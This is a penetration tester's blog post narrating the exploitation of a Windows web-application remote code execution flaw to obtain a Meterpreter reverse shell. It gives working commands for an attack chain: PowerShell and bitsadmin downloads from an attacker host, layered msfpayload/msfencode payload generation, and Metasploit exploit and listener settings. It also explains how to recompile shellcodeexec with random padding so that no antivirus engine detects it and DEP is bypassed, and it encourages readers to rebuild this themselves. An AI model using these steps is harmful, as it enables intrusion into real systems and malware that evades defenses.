A while back I was performing a network penetration test and came across a remote code execution vulnerability in one of the web applications hosted at the site. It got me excited because I just knew it was going to result in some level of access to the host. It looked like a pretty simple vulnerability to exploit and Metasploit even had modules for the vulnerability. This was going to be too easy. Then I attempted to run the exploit and found out that it wasn’t going to be as simple as click, click, click, pwn as I thought, so I decided to blog about the approach.
One of the nice things about this vulnerability is that it is pretty easy to identify and validate; exploitation results in the first line of text output by whatever Windows executable you pass to it being written to the browser. For example, running `ipconfig.exe` results in this being output:
Windows IP Configuration
Or running `whoami.exe` results in the name of the host and account running the application being output to screen:
I ran a few tests and knew the host was vulnerable, but when I ran the Metasploit exploit all I got was:
[+] Exploitation was successful
A meterpreter session was never setup. The next step was making sure that the host could connect outbound to my host. The simplest tool to use is telnet, however, this was a Windows 2008 server and telnet wasn’t installed. I got this:
'telnet.exe' is not recognized as an internal or external command,
I had to think for a moment what I could use on a plain Windows 2008 server to test outbound connectivity. Then I realized that `mstsc.exe` can be run from the command line and takes both an IP and a port number as options. I tried a few and struck gold with the following predictably allowed outbound ports:
mstsc.exe /v:<AttackingIP>:80 mstsc.exe /v:<AttackingIP>:443
I was running tcpdump on the attacking system to confirm the connections coming back. So then I went back to Metasploit and used 443 as my LPORT for the exploit to connect back to, selecting windows/meterpreter/reverse_https, so as to look like regular HTTPS traffic from the host:
use exploit/windows/http/<remote_code_execution_vuln_I_used> set RHOST <VictimHost> set RPORT 80 set TARGETURI /path/to/target set PAYLOAD windows/meterpreter/reverse_https set LHOST <AttackingIP> set LPORT 443 run
Still no dice. I needed a way to make sure the payload was getting uploaded and executed and then troubleshoot from there. I spent a little time researching ways to download a file from the command line. First, I wanted to upload a benign executable to make sure the file upload worked. I had an ffmpeg.exe that I figured would make it past any potential AV and give me something to test so I put it in the root directory of a web server I loaded up for the attack. I looked at bitsadmin.exe first, and for what it’s worth, the following worked on my own host but failed on the victim host (I’m adding this to the post as it might work in other scenarios):
bitsadmin.exe /transfer evil /download /priority normal http://<AttackingIP>/ffmpeg.exe C:\Users\Public\Documents\ffmpeg.exe
I attempted uploading the exe to C:\Users\Public\Documents because I figured most, if not all accounts, will have access to this directory. Then I manually exploited the remote execution vulnerability to run C:\Users\Public\Documents\ffmpeg.exe and instead of getting the first line output by the command:
ffmpeg version N-41074 Copyright (c) 2000-2012 the FFmpeg developers
'ffmpeg.exe' is not recognized as an internal or external command,
Back to the drawing board on how to download a file on a Windows Server from the command line. I couldn’t think of any commands on Windows that are native that would work and searching came up with mostly nada (other than bitsadmin). I started thinking about vbscript and other scripting languages and then settled on researching how to do this with Powershell (if it was possible) and found something that worked:
powershell.exe (new-object System.Net.WebClient).DownloadFile( 'http://<AttackingIP>/ffmpeg.exe', 'C:\Users\Public\Documents\ffmpeg.exe')
So I tested out uploading the file to the vulnerable host and success! So at this point, I know the host is vulnerable and I know I can upload arbitrary files to it. Time to make an msfpayload executable. I ran the following commands to create an encoded meterpreter executable:
msfpayload windows/meterpreter/reverse_https LHOST=<AttackingIP> LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 10 -t raw| msfencode -e x86/alpha_mixed –c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 15 -t raw | msfencode -e x86/alpha_upper -c 10 –t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o who.exe
I then I went to execute the payload, running a listener on the attacking host like so:
use multi/handler set PAYLOAD windows/meterpreter/reverse_https set LHOST <AttackingIP> set LPORT 443 run
Then I manually exploited the remote execution vulnerability to run C:\Users\Public\Documents\who.exe (note that this is the output name of the file I created above) and nothing happened. So I thought, maybe AV is picking up the file. I ran the executable through VirusTotal and sure enough it was picked up by all sorts of AV apps. For kicks, I tried using netcat as well, same result. I tried several different iterations of msfpayload with msfencode to no avail.
I needed a better way to hide the file. I tried packing the executable with `upx` but that didn’t work either (any suggestions on better packers?). I did some research and found this Metasploit evasion script: https://github.com/nccgroup/metasploitavevasion. This looked promising so I downloaded and ran it. Yay, quite a few AV vendors missed the meterpreter executable it created. I uploaded the file, was still running my meterpreter listener, and ran the executable. Still nothing, however; I DIDN’T get back a:
'who.exe' is not recognized as an internal or external command,
Instead, I got absolutely nothing and the browser eventually timed out. This meant the file was uploaded and wasn’t picked up by AV, so something else was happening. I ran the executable on my Windows 7 host and it worked like a champ. I then uploaded to a Windows 2012 host and it gave me an error, which upon further research was a Data Execution Prevention (DEP) error. So I was a little closer but still being tripped up by security technology. Boo!
From what I understand, and found in research, the Metasploit windows/meterpreter/reverse_ord_tcp and windows/meterpreter/reverse_nonx_tcp were created to bypass DEP (maybe I misunderstood?). With that in mind, I modified the avoid.sh script found in the link above to use these payloads but still received the DEP error. Time to research DEP bypasses.
I found a few tools that I couldn’t get to work correctly, so I won’t list them here, but then I came across this blog: http://carnal0wnage.attackresearch.com/2011/07/process-injection-outside-of-metasploit.html. The shellcodeexec program mentioned in the post and found here: https://github.com/inquisb/shellcodeexec sounded promising. I downloaded the executable, put it on my Windows 2012 server, then ran the following (as outlined in the carnal0wnage blogpost) to create the meterpreter payload:
msfpayload windows/meterpreter/reverse_https LHOST=<AttackingIP> LPORT=443 EXITFUNC=thread R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
Which results in output similar to:
Then, on the test host, I executed:
shellcodeexec.exe <output payload>
Success! It bypassed DEP. I renamed shellcodeexec.exe to show.exe, uploaded to the victim host, and then exploited the vulnerability passing the output payload as a command line option and again NOTHING happened. I figured shellcodeexec was getting picked up by AV, and sure enough that was it as VirusTotal showed a majority of vendors identified it at this point.
After taking a few moments away to work on some other things, I got the idea to try to put together what I learned from the avoid.sh script and combine it with shellcodeexec. In looking through the avoid.sh script, I found that it creates a ridiculously long random string (like hundreds of thousands, maybe millions, of characters) that it shoves in to a C ‘char’ variable named padding at the beginning of the executable it compiles. So the idea was to combine this functionality and include the variable in the code for shellcodeexec, and then compile my own version of shellcodeexec.
The first step was to comment out the lines in avoid.sh that create the .c file and then run the script. This produces a file named build.c with the `unsigned char padding` variable discussed above. I then copied this line into shellcodeexec.c, right above:
int main(int argc, char *argv)
I loaded the code (the Win32 version of the code) into Visual Studio C++ Express (free here) and attempted to compile. I found that VS C++ has a limit of 16,380 characters for a string, chopped the string down to this size, and compiled successfully.
Now was the true test. I first tested running the executable with the generated payload on my system and it worked. Next, I ran the executable on my Windows 2012 server and at first it failed, complaining that msvcr100d.dll could not be found. Apparently, that is included with VS C++ Express but not standard on Windows server systems. I copied that DLL into the directory in which shellcodeexec was placed, ran shellcodeexec and passed it the payload and it worked, bypassing DEP. Finally, I uploaded the executable to VirusTotal and it was not caught by a single AV engine (0 of 48 detected it). Awesome! Now I was getting really excited.
I then used the Powershell code above within the remote code execution vulnerability to force the machine to download my new shellcodeexec executable, which I renamed to something innocuous, to C:\Users\Public\Documents. The msvcr100d.dll was uploaded directly thereafter with the same mechanism. With my Metasploit listener up and running, I used the vulnerability to call my uploaded shellcodeexec binary, passing it my raw generated payload and BINGO! I had a meterpreter shell.
Anyways, this was a fun example because I had to do a little work for it and I thought the information might prove useful to others. I’m not going to provide my custom shellcodeexec binary because I don’t want it to get added to all the AV engines and detected, but with the steps provided above you should be able to create your own. This is nice because it bypasses both AV and DEP in one shot.
Enjoy! I hope this was helpful to somebody.
- Apache Security
- OWASP 2010 A1
- OWASP 2010 A10
- OWASP 2010 A2
- OWASP 2010 A3
- OWASP 2010 A4
- OWASP 2010 A5
- OWASP 2010 A6
- OWASP 2010 A7
- OWASP 2010 A9
- OWASP 2013 A9
- Penetration Testing
- PHP Security
- Social Engineering
Top TagsASVS 3.1 ASVS 3.2 ASVS 3.3 ASVS 3.4 ASVS 3.5 ASVS 3.6 ASVS 3.7 ASVS 3.8 ASVS 3.9 ASVS 3.10 ASVS 3.11 ASVS 3.12 ASVS 3.13 ASVS 11.4 bcrypt Burp Suite Pro CodeWatch CryptoPP Hashcat Hyperion Java Linux Metasploit Meterpreter mimikatz msfencode msfpayload Ophcrack OWASP 2010 A1 - Injection OWASP 2010 A2 - Cross-Site Scripting (XSS) OWASP 2010 A3 - Broken Authentication and Session Management Penetration Testing Phishing PHP Powershell Python SET Shellcodeexec Social Engineering Unix Veil VirusTotal WAF Web App Pentesting Windows